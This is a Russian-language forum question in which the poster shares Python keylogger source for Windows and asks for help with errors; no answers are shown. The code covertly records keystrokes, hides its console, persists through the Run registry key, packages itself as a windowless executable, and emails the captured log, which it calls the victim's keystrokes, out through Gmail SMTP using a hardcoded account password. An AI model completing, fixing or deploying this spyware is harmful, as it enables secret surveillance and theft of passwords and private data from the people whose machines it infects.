Килоггер на python

Выдаёт ошибки при запуске кода

import pyWinhook as pyHook
import pythoncom
import threading
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import win32event, win32api, winerror
import sys
import os

def email():
    mail_content = '''
    Привет, вот последние нажатия жертвы!
    '''
    sender_address = "[email protected]"
    sender_pass = "Dan1092Ruj"
    receiver_address = "[email protected]"

    message = MIMEMultipart()
    message['From'] = sender_address
    message['To'] = receiver_address
    message['Subject'] = 'Рядовой2, выполнение службы'

    message.attach(MIMEText(mail_content, 'plain'))
    file = open("C:/Windows/Temp/klog.txt", "r")
    stringlogs = file.read()
    file.close()
    message.attach(MIMEText(stringlogs))

    session = smtplib.SMTP('smtp.gmail.com', 587)  
    session.starttls()  
    session.login(sender_address, sender_pass) 
    text = message.as_string()
    session.sendmail(sender_address, receiver_address, text)
    session.quit()
    print('Mail Sent')

class Keylogger:
    i = ''
    log_path = ("C:/Windows/Temp/klog.txt")
    MAX_KEYSTROKES = 200

class myThread(threading.Thread):
    def __init__(self, threadID, name, counter):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.counter = counter

    def run(self):
        main()

def addStartup():
    if getattr(sys, 'frozen', False):
        os.path.dirname(os.path.realpath(sys.executable))
    elif __file__:
        fp = os.path.dirname(os.path.realpath(__file__))
        file_name = sys.argv[0].split("\\")[-1]
        new_file_path = fp + "\\" + file_name
        keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'

        key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)

        SetValueEx(key2change, "logger", 0, REG_SZ, new_file_path)      

def KeyFilters(event):
    if (event.KeyID == 13):
        Keylogger.i += ' [Enter] '
    elif (event.KeyID == 162 or event.KeyID == 163):
        Keylogger.i += ' [CTRL] '
    elif (event.KeyID == 164 or event.KeyID == 165):
        Keylogger.i += ' [ALT] '
    elif (event.KeyID == 8):
        Keylogger.i += ' [BackSpace] '
    elif (event.KeyID == 160 or event.KeyID == 161):
        Keylogger.i += ' [SHIFT] '
    elif (event.KeyID == 46):
        Keylogger.i += ' [Delete] '
    elif (event.KeyID == 32):
        Keylogger.i += ' [Space] '
    elif (event.KeyID == 27):
        Keylogger.i += ' [Escape] '
    elif (event.KeyID == 9):
        Keylogger.i += ' [TAB] '
    elif (event.KeyID == 20):
        Keylogger.i += ' [CapsLock] '
    elif (event.KeyID == 38):
        Keylogger.i += ' [Up] '
    elif (event.KeyID == 40):
        Keylogger.i += ' [Down] '
    elif (event.KeyID == 37):
        Keylogger.i += ' [Left] '
    elif (event.KeyID == 39):
        Keylogger.i += ' [Right] '
    elif (event.KeyID == 91):
        Keylogger.i += ' [Windows] '
    else:
        Keylogger.i += chr(event.Ascii)
    return True

def initialize():
    hm.UnhookKeyboard()
    Keylogger.i = None
    Keylogger.i = ''
    hm.HookKeyboard()

def writeToFile():
    file = open(Keylogger.log_path, "a") 
    file.write(Keylogger.i) 
    file.close() 
    return True

def disallow_Multiple_Instances():
    mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
    if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
        mutex = None
        exit(0)
    x = ''
    data = ''
    count = 0

def OnKeyboardEvent(event):
    KeyFilters(event)
    sending_procedure()
    return True

def hide():
    import win32console, win32gui
    window = win32console.GetConsoleWindow()
    win32gui.ShowWindow(window, 0)
    return True

def main():
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

hide()

addStartup()

hm = pyHook.HookManager()

disallow_Multiple_Instances()

thread = myThread(1, "Thread", 1)
thread.start()

import os.path
import os
import platform

logo = r'''

'''
def main():
    if platform.system() == "Windows":
        os.system("@cls")
    else:
        os.system("clear")
    print(logo)

main()
install = ("pyinstaller -w --onefile --icon=ico.ico ryadovoi_python2.py")
os.system(install)

ошибки:

"OpenKey" is not defined
"HKEY_CURRENT_USER" is not defined
"KEY_ALL_ACCESS" is not defined
"SetValueEx" is not defined
"REG_SZ" is not defined
"sending_procedure" is not defined

Ответы (0 шт):